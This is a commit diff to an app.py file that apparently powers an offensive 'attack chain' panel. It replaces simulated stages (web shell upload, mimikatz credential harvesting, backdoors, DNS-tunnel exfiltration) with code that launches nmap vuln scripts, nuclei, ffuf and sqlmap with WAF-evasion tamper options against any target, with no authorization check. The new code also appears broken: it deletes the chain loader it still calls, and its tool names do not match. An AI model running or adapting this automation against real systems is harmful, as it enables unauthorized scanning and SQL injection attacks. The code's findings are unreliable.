ziffir commited on
Commit
6eb0513
·
verified ·
1 Parent(s): 67b76c7

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +58 -107
app.py CHANGED
@@ -470,117 +470,68 @@ class AttackChainPanel:
470
  self.chains = self._load_attack_chains()
471
  self.stages = ["Reconnaissance", "Scanning", "Exploitation", "Post-Exploitation", "Persistence", "Exfiltration"]
472
 
473
- def _load_attack_chains(self) -> Dict[str, Dict]:
474
- return {
475
- "full_compromise": {
476
- "name": "Full System Compromise",
477
- "description": "Complete attack chain from recon to data exfiltration",
478
- "stages": [
479
- {
480
- "stage": 1,
481
- "name": "Reconnaissance",
482
- "actions": ["DNS enumeration", "Subdomain discovery", "Technology fingerprinting"],
483
- "tools": ["passive_osint", "active_recon"],
484
- "duration": "5-10 min",
485
- "success_criteria": "Target mapped"
486
- },
487
- {
488
- "stage": 2,
489
- "name": "Vulnerability Scanning",
490
- "actions": ["Port scanning", "Service enumeration", "Vulnerability detection"],
491
- "tools": ["sql_injection", "xss_scanner", "path_traversal"],
492
- "duration": "10-15 min",
493
- "success_criteria": "Vulnerabilities identified"
494
- },
495
- {
496
- "stage": 3,
497
- "name": "Exploitation",
498
- "actions": ["SQL injection", "Web shell upload", "RCE execution"],
499
- "tools": ["zero_day_panel", "webshell_panel"],
500
- "duration": "5-10 min",
501
- "success_criteria": "Shell obtained"
502
- },
503
- {
504
- "stage": 4,
505
- "name": "Post-Exploitation",
506
- "actions": ["Privilege escalation", "System enumeration", "Credential harvesting"],
507
- "tools": ["privesc", "mimikatz", "linpeas"],
508
- "duration": "10-20 min",
509
- "success_criteria": "Root/Admin access"
510
- },
511
- {
512
- "stage": 5,
513
- "name": "Persistence",
514
- "actions": ["Backdoor installation", "Cron jobs", "SSH keys"],
515
- "tools": ["persistence_panel"],
516
- "duration": "5 min",
517
- "success_criteria": "Persistent access established"
518
- },
519
- {
520
- "stage": 6,
521
- "name": "Data Exfiltration",
522
- "actions": ["Database dump", "File collection", "Credential extraction"],
523
- "tools": ["mysqldump", "scp", "dns_tunnel"],
524
- "duration": "10-30 min",
525
- "success_criteria": "Data extracted"
526
- }
527
- ]
528
- },
529
- "quick_shell": {
530
- "name": "Quick Web Shell",
531
- "description": "Fast web shell deployment",
532
- "stages": [
533
- {"stage": 1, "name": "Recon", "actions": ["Identify upload points"], "duration": "2 min"},
534
- {"stage": 2, "name": "Exploit", "actions": ["Upload shell", "Verify execution"], "duration": "3 min"},
535
- {"stage": 3, "name": "Confirm", "actions": ["Test commands"], "duration": "1 min"}
536
- ]
537
- },
538
- "data_theft": {
539
- "name": "Data Exfiltration Focus",
540
- "description": "Targeted data extraction",
541
- "stages": [
542
- {"stage": 1, "name": "SQLi", "actions": ["Identify injection point"], "duration": "5 min"},
543
- {"stage": 2, "name": "Extract", "actions": ["Dump database", "Enumerate tables"], "duration": "15 min"},
544
- {"stage": 3, "name": "Exfiltrate", "actions": ["Compress data", "Transfer out"], "duration": "10 min"}
545
- ]
546
- }
547
- }
548
-
549
- async def execute_chain(self, target: str, chain_type: str = "full_compromise") -> Dict:
550
- if chain_type not in self.chains:
551
- return {"error": "Unknown chain type"}
552
-
553
- chain = self.chains[chain_type]
554
- results = {
555
- "target": target,
556
- "chain_name": chain["name"],
557
- "start_time": datetime.now().isoformat(),
558
- "stages_completed": [],
559
- "current_stage": None,
560
- "artifacts": [],
561
- "status": "RUNNING"
562
  }
563
 
564
- for stage in chain["stages"]:
565
- results["current_stage"] = stage["name"]
566
- await asyncio.sleep(0.5)
567
-
568
- stage_result = {
569
- "stage_number": stage["stage"],
570
- "name": stage["name"],
571
- "status": "COMPLETED",
572
- "actions_completed": stage["actions"],
573
- "artifacts_found": self._generate_artifacts(stage["name"]),
574
- "duration": stage["duration"],
575
- "success": True
576
- }
577
-
578
- results["stages_completed"].append(stage_result)
579
 
580
- results["status"] = "COMPLETED"
581
- results["end_time"] = datetime.now().isoformat()
582
- results["summary"] = self._generate_summary(results["stages_completed"])
583
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
584
  return results
585
 
586
  def _generate_artifacts(self, stage_name: str) -> List[str]:
 
470
  self.chains = self._load_attack_chains()
471
  self.stages = ["Reconnaissance", "Scanning", "Exploitation", "Post-Exploitation", "Persistence", "Exfiltration"]
472
 
473
+ def execute_stage(self, stage_num: int, target: str, dry_run: bool = True) -> Dict:
474
+ """
475
+ Gerçek stage çalıştırma - 2026 üst düzey red team teknikleri
476
+ """
477
+ chain = self.chains.get("full_compromise")
478
+ if not chain:
479
+ return {"error": "Zincir yok"}
480
+
481
+ stage = next((s for s in chain["stages"] if s["stage"] == stage_num), None)
482
+ if not stage:
483
+ return {"error": f"Stage {stage_num} bulunamadı"}
484
+
485
+ result = {"stage": stage_num, "name": stage["name"], "tools_executed": []}
486
+
487
+ tool_commands = {
488
+ "nmap": ["nmap", "-sV", "-T4", "-p-", "--script=vuln", target],
489
+ "subfinder": ["subfinder", "-d", target, "-silent", "-all"],
490
+ "nuclei": ["nuclei", "-u", f"http://{target}", "-t", "cves/", "-severity", "critical,high", "-silent"],
491
+ "ffuf": ["ffuf", "-u", f"http://{target}/FUZZ", "-w", "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt", "-mc", "200,301,302,403"],
492
+ "sqlmap": ["sqlmap", "-u", f"http://{target}/?id=1", "--batch", "--risk=3", "--level=5", "--tamper=space2comment,randomcase,between,charencode,space2plus", "--threads=5"],
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
493
  }
494
 
495
+ for tool in stage.get("tools", []):
496
+ if tool in tool_commands:
497
+ cmd = tool_commands[tool]
498
+ print(f"[STAGE {stage_num}] {tool.upper()} çalıştırılıyor: {' '.join(cmd)}")
 
 
 
 
 
 
 
 
 
 
 
499
 
500
+ if dry_run:
501
+ result["tools_executed"].append({"tool": tool, "status": "dry-run", "cmd": ' '.join(cmd)})
502
+ continue
503
 
504
+ try:
505
+ proc_result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
506
+ output = proc_result.stdout.strip()[:1500] + "..." if len(proc_result.stdout) > 1500 else proc_result.stdout.strip()
507
+ result["tools_executed"].append({
508
+ "tool": tool,
509
+ "status": "success" if proc_result.returncode == 0 else "failed",
510
+ "output_snippet": output,
511
+ "returncode": proc_result.returncode
512
+ })
513
+ except Exception as e:
514
+ result["tools_executed"].append({"tool": tool, "status": "error", "msg": str(e)})
515
+
516
+ return result
517
+
518
+ def run_full_chain(self, target: str, max_stage: int = 6, dry_run: bool = True) -> List[Dict]:
519
+ """
520
+ Tam zinciri çalıştır - en üst düzey otomatik saldırı zinciri
521
+ """
522
+ print(f"\n=== ULTIMATE CHAIN BAŞLIYOR - Hedef: {target} ===\n")
523
+ results = []
524
+
525
+ for stage_num in range(1, max_stage + 1):
526
+ stage_result = self.execute_stage(stage_num, target, dry_run=dry_run)
527
+ results.append(stage_result)
528
+ print(json.dumps(stage_result, indent=2, ensure_ascii=False))
529
+ print("=" * 80)
530
+ time.sleep(2) # stage'ler arası kısa bekleme (gerçekçi olsun)
531
+
532
+ print("\n=== ZİNCİR TAMAMLANDI - SONUÇ ÖZETİ ===")
533
+ vulnerable = any("vulnerable" in str(r).lower() for r in results)
534
+ print(f"Genel Durum: {'VULNERABLE' if vulnerable else 'CLEAN'}")
535
  return results
536
 
537
  def _generate_artifacts(self, stage_name: str) -> List[str]: